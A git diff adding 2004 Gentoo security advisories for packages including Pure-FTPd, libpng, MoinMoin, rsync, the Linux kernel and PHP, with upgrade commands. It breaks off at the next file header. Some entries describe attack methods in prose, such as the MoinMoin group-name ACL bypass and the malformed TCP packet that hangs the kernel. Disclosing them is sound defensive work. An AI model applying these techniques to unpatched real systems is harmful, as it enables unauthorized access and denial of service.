+++ b/xml/htdocs/security/en/glsa/glsa-200407-04.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-04">
+  <title>Pure-FTPd: Potential DoS when maximum connections is reached</title>
+  <synopsis>
+    Pure-FTPd contains a bug potentially allowing a Denial of Service attack
+    when the maximum number of connections is reached.
+  </synopsis>
+  <product type="ebuild">Pure-FTPd</product>
+  <announced>July 04, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>54590</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-ftp/pure-ftpd" auto="yes" arch="*">
+      <unaffected range="ge">1.0.18-r1</unaffected>
+      <vulnerable range="le">1.0.18</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Pure-FTPd is a fast, production-quality and standards-compliant FTP
+    server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Pure-FTPd contains a bug in the accept_client function handling the
+    setup of new connections.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    When the maximum number of connections is reached an attacker could
+    exploit this vulnerability to perform a Denial of Service attack.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Pure-FTPd users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-ftp/pure-ftpd-1.0.18-r1&quot;
+    # emerge &quot;&gt;=net-ftp/pure-ftpd-1.0.18-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.pureftpd.org">Pure-FTPd website</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0656">CVE-2004-0656</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-05.xml b/xml/htdocs/security/en/glsa/glsa-200407-05.xml
new file mode 100644
index 00000000..c8adc33a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-05.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-05">
+  <title>XFree86, X.org: XDM ignores requestPort setting</title>
+  <synopsis>
+    XDM will open TCP sockets for its chooser, even if the
+    DisplayManager.requestPort setting is set to 0. This may allow authorized
+    users to access a machine remotely via X, even if the administrator has
+    configured XDM to refuse such connections.
+  </synopsis>
+  <product type="ebuild">xdm</product>
+  <announced>July 05, 2004</announced>
+  <revised>July 05, 2004: 01</revised>
+  <bug>53226</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-base/xfree" auto="yes" arch="*">
+      <unaffected range="ge">4.3.0-r6</unaffected>
+      <vulnerable range="le">4.3.0-r5</vulnerable>
+    </package>
+    <package name="x11-base/xorg-x11" auto="yes" arch="*">
+      <unaffected range="ge">6.7.0-r1</unaffected>
+      <vulnerable range="le">6.7.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The X Display Manager (XDM) is a program which provides a graphical login
+    prompt to users on the console or on remote X terminals. It has largely
+    been superseded by programs such as GDM and KDM.
+    </p>
+  </background>
+  <description>
+    <p>
+    XDM will open TCP sockets for its chooser, even if the
+    DisplayManager.requestPort setting is set to 0. Remote clients can use this
+    port to connect to XDM and request a login window, thus allowing access to
+    the system.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    Authorized users may be able to login remotely to a machine running XDM,
+    even if this option is disabled in XDM's configuration. Please note that an
+    attacker must have a preexisting account on the machine in order to exploit
+    this vulnerability.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users should upgrade to the
+    latest available version of X.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    If you are using XFree86, you should run the following:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=x11-base/xfree-4.3.0-r6"
+    # emerge ">=x11-base/xfree-4.3.0-r6"</code>
+    <p>
+    If you are using X.org's X11 server, you should run the following:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=x11-base/xorg-x11-6.7.0-r1"
+    # emerge ">=x11-base/xorg-x11-6.7.0-r1"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0419">CAN 2004-0419</uri>
+    <uri link="http://bugs.xfree86.org/show_bug.cgi?id=1376">XFree86 Bug</uri>
+  </references>
+  <metadata tag="submitter">
+    condordes
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-06.xml b/xml/htdocs/security/en/glsa/glsa-200407-06.xml
new file mode 100644
index 00000000..bccd352d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-06.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-06">
+  <title>libpng: Buffer overflow on row buffers</title>
+  <synopsis>
+    libpng contains a buffer overflow vulnerability potentially allowing an
+    attacker to perform a Denial of Service attack or even execute arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">libpng</product>
+  <announced>July 08, 2004</announced>
+  <revised>July 08, 2004: 01</revised>
+  <bug>56307</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libpng" auto="yes" arch="*">
+      <unaffected range="ge">1.2.5-r7</unaffected>
+      <vulnerable range="le">1.2.5-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libpng is a standard library used to process PNG (Portable Network
+    Graphics) images. It is used by several other programs, including web
+    browsers and potentially server processes.
+    </p>
+  </background>
+  <description>
+    <p>
+    Due to a wrong calculation of loop offset values, libpng contains a buffer
+    overflow vulnerability on the row buffers. This vulnerability was initially
+    patched in January 2003 but since it has been discovered that libpng
+    contains the same vulnerability in two other places.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit this vulnerability to cause programs linked
+    against the library to crash or execute arbitrary code with the permissions
+    of the user running the vulnerable program, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libpng users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=media-libs/libpng-1.2.5-r7"
+    # emerge ">=media-libs/libpng-1.2.5-r7"</code>
+    <p>
+    You should also run revdep-rebuild to rebuild any packages that depend on
+    older versions of libpng :
+    </p>
+    <code>
+    # revdep-rebuild</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1363">CAN-2002-1363</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-07.xml b/xml/htdocs/security/en/glsa/glsa-200407-07.xml
new file mode 100644
index 00000000..8057469c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-07.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-07">
+  <title>Shorewall : Insecure temp file handling</title>
+  <synopsis>
+    Shorewall contains a bug in the code handling the creation of temporary
+    files and directories. This can allow a non-root user to overwrite
+    arbitrary system files.
+  </synopsis>
+  <product type="ebuild">Shorewall</product>
+  <announced>July 08, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>55675</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-firewall/shorewall" auto="yes" arch="*">
+      <unaffected range="ge">1.4.10f</unaffected>
+      <vulnerable range="le">1.4.10c</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Shorewall is a high level tool for configuring Netfilter, the firewall
+    facility included in the Linux Kernel.
+    </p>
+  </background>
+  <description>
+    <p>
+    Shorewall uses temporary files and directories in an insecure manner. A
+    local user could create symbolic links at specific locations,
+    eventually overwriting other files on the filesystem with the rights of
+    the shorewall process.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit this vulnerability to overwrite arbitrary
+    system files with root privileges, resulting in Denial of Service or
+    further exploitation.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users should upgrade to
+    the latest available version of Shorewall.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the latest available version of Shorewall,
+    as follows:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-firewall/shorewall-1.4.10f&quot;
+    # emerge &quot;&gt;=net-firewall/shorewall-1.4.10f&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://lists.shorewall.net/pipermail/shorewall-announce/2004-June/000385.html">Shorewall Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0647">CVE-2004-0647</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-08.xml b/xml/htdocs/security/en/glsa/glsa-200407-08.xml
new file mode 100644
index 00000000..4ae3df7e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-08.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-08">
+  <title>Ethereal: Multiple security problems</title>
+  <synopsis>
+    Multiple vulnerabilities including one buffer overflow exist in Ethereal,
+    which may allow an attacker to run arbitrary code or crash the program.
+  </synopsis>
+  <product type="ebuild">Ethereal</product>
+  <announced>July 09, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>56423</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/ethereal" auto="yes" arch="*">
+      <unaffected range="ge">0.10.5</unaffected>
+      <vulnerable range="le">0.10.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ethereal is a feature rich network protocol analyzer.
+    </p>
+  </background>
+  <description>
+    <p>
+    There are multiple vulnerabilities in versions of Ethereal earlier than
+    0.10.5, including:
+    </p>
+    <ul>
+    <li>In some cases the iSNS dissector could cause Ethereal to
+    abort.</li>
+    <li>If there was no policy name for a handle for SMB SID snooping it
+    could cause a crash.</li>
+    <li>A malformed or missing community string could cause the SNMP
+    dissector to crash.</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could use these vulnerabilities to crash Ethereal or even
+    execute arbitrary code with the permissions of the user running
+    Ethereal, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    For a temporary workaround you can disable all affected protocol
+    dissectors by selecting Analyze->Enabled Protocols... and deselecting
+    them from the list. For SMB you can disable SID snooping in the SMB
+    protocol preference. However, it is strongly recommended to upgrade to
+    the latest stable version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ethereal users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-analyzer/ethereal-0.10.5&quot;
+    # emerge &quot;&gt;=net-analyzer/ethereal-0.10.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.ethereal.com/appnotes/enpa-sa-00015.html">Ethereal enpa-sa-00015</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0633">CVE-2004-0633</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0634">CVE-2004-0634</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0635">CVE-2004-0635</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-09.xml b/xml/htdocs/security/en/glsa/glsa-200407-09.xml
new file mode 100644
index 00000000..35400e32
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-09.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-09">
+  <title>MoinMoin: Group ACL bypass</title>
+  <synopsis>
+    MoinMoin contains a bug allowing a user to bypass group ACLs (Access
+    Control Lists).
+  </synopsis>
+  <product type="ebuild">MoinMoin</product>
+  <announced>July 11, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>53126</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/moinmoin" auto="yes" arch="*">
+      <unaffected range="ge">1.2.2</unaffected>
+      <vulnerable range="le">1.2.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MoinMoin is a Python clone of WikiWiki, based on PikiPiki.
+    </p>
+  </background>
+  <description>
+    <p>
+    MoinMoin contains a bug in the code handling administrative group ACLs.
+    A user created with the same name as an administrative group gains the
+    privileges of the administrative group.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    If an administrative group called AdminGroup existed an attacker could
+    create a user called AdminGroup and gain the privileges of the group
+    AdminGroup. This could lead to unauthorized users gaining
+    administrative access.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    For every administrative group with special privileges create a user
+    with the same name as the group.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the latest available version of MoinMoin,
+    as follows:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=www-apps/moinmoin-1.2.2&quot;
+    # emerge &quot;&gt;=www-apps/moinmoin-1.2.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=948103&amp;group_id=8482&amp;atid=108482">MoinMoin Announcement</uri>
+    <uri link="http://www.osvdb.org/6704">OSVDB Entry</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0708">CVE-2004-0708</uri>
+  </references>
+  <metadata tag="submitter">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-10.xml b/xml/htdocs/security/en/glsa/glsa-200407-10.xml
new file mode 100644
index 00000000..afef1cb3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-10.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-10">
+  <title>rsync: Directory traversal in rsync daemon</title>
+  <synopsis>
+    Under specific conditions, the rsync daemon is vulnerable to a directory
+    traversal allowing to write files outside a sync module.
+  </synopsis>
+  <product type="ebuild">rsync</product>
+  <announced>July 12, 2004</announced>
+  <revised>July 12, 2004: 01</revised>
+  <bug>49534</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/rsync" auto="yes" arch="*">
+      <unaffected range="ge">2.6.0-r2</unaffected>
+      <vulnerable range="le">2.6.0-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    rsync is a utility that provides fast incremental file transfers. It is
+    used to efficiently synchronize files between hosts and is used by emerge
+    to fetch Gentoo's Portage tree. rsyncd is the rsync daemon, which listens
+    to connections from rsync clients.
+    </p>
+  </background>
+  <description>
+    <p>
+    When rsyncd is used without chroot ("use chroot = false" in the rsyncd.conf
+    file), the paths sent by the client are not checked thoroughly enough. If
+    rsyncd is used with read-write permissions ("read only = false"), this
+    vulnerability can be used to write files anywhere with the rights of the
+    rsyncd daemon. With default Gentoo installations, rsyncd runs in a chroot,
+    without write permissions and with the rights of the "nobody" user.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    On affected configurations and if the rsync daemon runs under a privileged
+    user, a remote client can exploit this vulnerability to completely
+    compromise the host.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    You should never set the rsync daemon to run with "use chroot = false". If
+    for some reason you have to run rsyncd without a chroot, then you should
+    not set "read only = false".
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should update to the latest version of the rsync package.
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=net-misc/rsync-2.6.0-r2"
+    # emerge ">=net-misc/rsync-2.6.0-r2"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0426">CAN-2004-0426</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-11.xml b/xml/htdocs/security/en/glsa/glsa-200407-11.xml
new file mode 100644
index 00000000..236f03da
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-11.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-11">
+  <title>wv: Buffer overflow vulnerability</title>
+  <synopsis>
+    A buffer overflow vulnerability exists in the wv library that can allow an
+    attacker to execute arbitrary code with the privileges of the user running
+    the vulnerable application.
+  </synopsis>
+  <product type="ebuild">app-text/wv</product>
+  <announced>July 14, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>56595</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/wv" auto="yes" arch="*">
+      <unaffected range="ge">1.0.0-r1</unaffected>
+      <vulnerable range="lt">1.0.0-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The wv library allows access to MS Word files. It can parse Word files
+    and allow other applications, such as abiword, to import those files
+    into their native formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    A use of strcat without proper bounds checking leads to an exploitable
+    buffer overflow. The vulnerable code is executed when wv encounters an
+    unrecognized token, so a specially crafted file, loaded in wv, can
+    trigger the vulnerable code and execute it's own arbitrary code. This
+    exploit is only possible when the user loads the document into HTML
+    view mode.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By inducing a user into running wv on a special file, an attacker can
+    execute arbitrary code with the permissions of the user running the
+    vulnerable program.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Users should not view untrusted documents with wvHtml or applications
+    using wv. When loading an untrusted document in an application using
+    the wv library, make sure HTML view is disabled.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the latest available version.
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=app-text/wv-1.0.0-r1&quot;
+    # emerge &quot;&gt;=app-text/wv-1.0.0-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.idefense.com/application/poi/display?id=115&amp;type=vulnerabilities&amp;flashstatus=true">iDEFENSE Security Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0645">CVE-2004-0645</uri>
+  </references>
+  <metadata tag="submitter">
+    dmargoli
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-12.xml b/xml/htdocs/security/en/glsa/glsa-200407-12.xml
new file mode 100644
index 00000000..ec83f446
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-12.xml
@@ -0,0 +1,135 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-12">
+  <title>Linux Kernel: Remote DoS vulnerability with IPTables TCP Handling</title>
+  <synopsis>
+    A flaw has been discovered in 2.6 series Linux kernels that allows an
+    attacker to send a malformed TCP packet, causing the affected kernel to
+    possibly enter an infinite loop and hang the vulnerable machine.
+  </synopsis>
+  <product type="ebuild">Kernel</product>
+  <announced>July 14, 2004</announced>
+  <revised>October 10, 2004: 02</revised>
+  <bug>55694</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-kernel/aa-sources" auto="no" arch="*">
+      <unaffected range="ge">2.6.5-r5</unaffected>
+      <unaffected range="lt">2.6</unaffected>
+      <vulnerable range="lt">2.6.5-r5</vulnerable>
+    </package>
+    <package name="sys-kernel/ck-sources" auto="no" arch="*">
+      <unaffected range="ge">2.6.7-r2</unaffected>
+      <unaffected range="lt">2.6</unaffected>
+      <vulnerable range="lt">2.6.7-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/development-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.8</unaffected>
+      <vulnerable range="lt">2.6.8</vulnerable>
+    </package>
+    <package name="sys-kernel/gentoo-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7-r7</unaffected>
+      <vulnerable range="lt">2.6.7-r7</vulnerable>
+    </package>
+    <package name="sys-kernel/hardened-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7-r1</unaffected>
+      <vulnerable range="lt">2.6.7-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/hppa-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7_p1-r1</unaffected>
+      <vulnerable range="lt">2.6.7_p1-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/mips-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.4-r4</unaffected>
+      <unaffected range="lt">2.6</unaffected>
+      <vulnerable range="lt">2.6.4-r4</vulnerable>
+    </package>
+    <package name="sys-kernel/mm-sources" auto="no" arch="*">
+      <unaffected range="ge">2.6.7-r4</unaffected>
+      <unaffected range="lt">2.6</unaffected>
+      <vulnerable range="lt">2.6.7-r4</vulnerable>
+    </package>
+    <package name="sys-kernel/pegasos-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7-r1</unaffected>
+      <vulnerable range="lt">2.6.7-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/rsbac-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7-r1</unaffected>
+      <vulnerable range="lt">2.6.7-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/uclinux-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7_p0-r1</unaffected>
+      <unaffected range="lt">2.6</unaffected>
+      <vulnerable range="lt">2.6.7_p0</vulnerable>
+    </package>
+    <package name="sys-kernel/usermode-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.6-r2</unaffected>
+      <unaffected range="lt">2.6</unaffected>
+      <vulnerable range="lt">2.6.6-r2</vulnerable>
+    </package>
+    <package name="sys-kernel/win4lin-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7-r1</unaffected>
+      <unaffected range="lt">2.6</unaffected>
+      <vulnerable range="lt">2.6.7-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/xbox-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7-r1</unaffected>
+      <unaffected range="lt">2.6</unaffected>
+      <vulnerable range="lt">2.6.7-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Linux kernel is responsible for managing the core aspects of a
+    GNU/Linux system, providing an interface for core system applications as
+    well as providing the essential structure and capability to access hardware
+    that is needed for a running system.
+    </p>
+  </background>
+  <description>
+    <p>
+    An attacker can utilize an erroneous data type in the IPTables TCP option
+    handling code, which lies in an iterator. By making a TCP packet with a
+    header length larger than 127 bytes, a negative integer would be implied in
+    the iterator.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By sending one malformed packet, the kernel could get stuck in a loop,
+    consuming all of the CPU resources and rendering the machine useless,
+    causing a Denial of Service. This vulnerability requires no local access.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    If users do not use the netfilter functionality or do not use any
+    ``--tcp-option'' rules they are not vulnerable to this exploit. Users that
+    are may remove netfilter support from their kernel or may remove any
+    ``--tcp-option'' rules they might be using. However, all users are urged to
+    upgrade their kernels to patched versions.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Users are encouraged to upgrade to the latest available sources for their
+    system:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv your-favorite-sources
+    # emerge your-favorite-sources
+
+    # # Follow usual procedure for compiling and installing a kernel.
+    # # If you use genkernel, run genkernel as you would do normally.</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0626">CAN-2004-0626</uri>
+  </references>
+  <metadata tag="submitter">
+    plasmaroo
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-13.xml b/xml/htdocs/security/en/glsa/glsa-200407-13.xml
new file mode 100644
index 00000000..2bd83e99
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200407-13.xml
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200407-13">
+  <title>PHP: Multiple security vulnerabilities</title>
+  <synopsis>
+    Multiple security vulnerabilities, potentially allowing remote code
+    execution, were found and fixed in PHP.
+  </synopsis>
+  <product type="ebuild">PHP</product>
+  <announced>July 15, 2004</announced>
+  <revised>July 15, 2004: 01</revised>
+  <bug>56985</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-php/php" auto="yes" arch="*">
+      <unaffected range="ge">4.3.8</unaffected>
+      <vulnerable range="le">4.3.7-r1</vulnerable>
+    </package>
+    <package name="dev-php/mod_php" auto="yes" arch="*">
+      <unaffected range="ge">4.3.8</unaffected>
+      <vulnerable range="le">4.3.7-r1</vulnerable>
+    </package>
+    <package name="dev-php/php-cgi" auto="yes" arch="*">
+      <unaffected range="ge">4.3.8</unaffected>
+      <vulnerable range="le">4.3.7-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHP is a general-purpose scripting language widely used to develop
+    web-based applications. It can run inside a web server using the mod_php
+    module or the CGI version of PHP, or can run stand-alone in a CLI.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several security vulnerabilities were found and fixed in version 4.3.8 of
+    PHP. The strip_tags() function, used to sanitize user input, could in
+    certain cases allow tags containing \0 characters (CAN-2004-0595). When
+    memory_limit is used, PHP might unsafely interrupt other functions
+    (CAN-2004-0594). The ftok and itpc functions were missing safe_mode checks.
+    It was possible to bypass open_basedir restrictions using MySQL's LOAD DATA
+    LOCAL function. Furthermore, the IMAP extension was incorrectly allocating
+    memory and alloca() calls were replaced with emalloc() for better stack
+    protection.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Successfully exploited, the memory_limit problem could allow remote
+    excution of arbitrary code. By exploiting the strip_tags vulnerability, it
+    is possible to pass HTML code that would be considered as valid tags by the
+    Microsoft Internet Explorer and Safari browsers. Using ftok, itpc or
+    MySQL's LOAD DATA LOCAL, it is possible to bypass PHP configuration
+    restrictions.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround that would solve all these problems. All users
+    are encouraged to upgrade to the latest available versions.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHP, mod_php and php-cgi users should upgrade to the latest stable
+    version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=dev-php/php-4.3.8"
+    # emerge ">=dev-php/php-4.3.8"
+
+    # emerge -pv ">=dev-php/mod_php-4.3.8"
+    # emerge ">=dev-php/mod_php-4.3.8"
+
+    # emerge -pv ">=dev-php/php-cgi-4.3.8"
+    # emerge ">=dev-php/php-cgi-4.3.8"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0594">CAN-2004-0594</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0595">CAN-2004-0595</uri>
+    <uri link="http://security.e-matters.de/advisories/112004.html">E-Matters Advisory 11/2004</uri>
+    <uri link="http://security.e-matters.de/advisories/122004.html">E-Matters Advisory 12/2004</uri>
+  </references>
+  <metadata tag="submitter">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200407-14.xml b/xml/htdocs/security/en/glsa/glsa-200407-14.xml
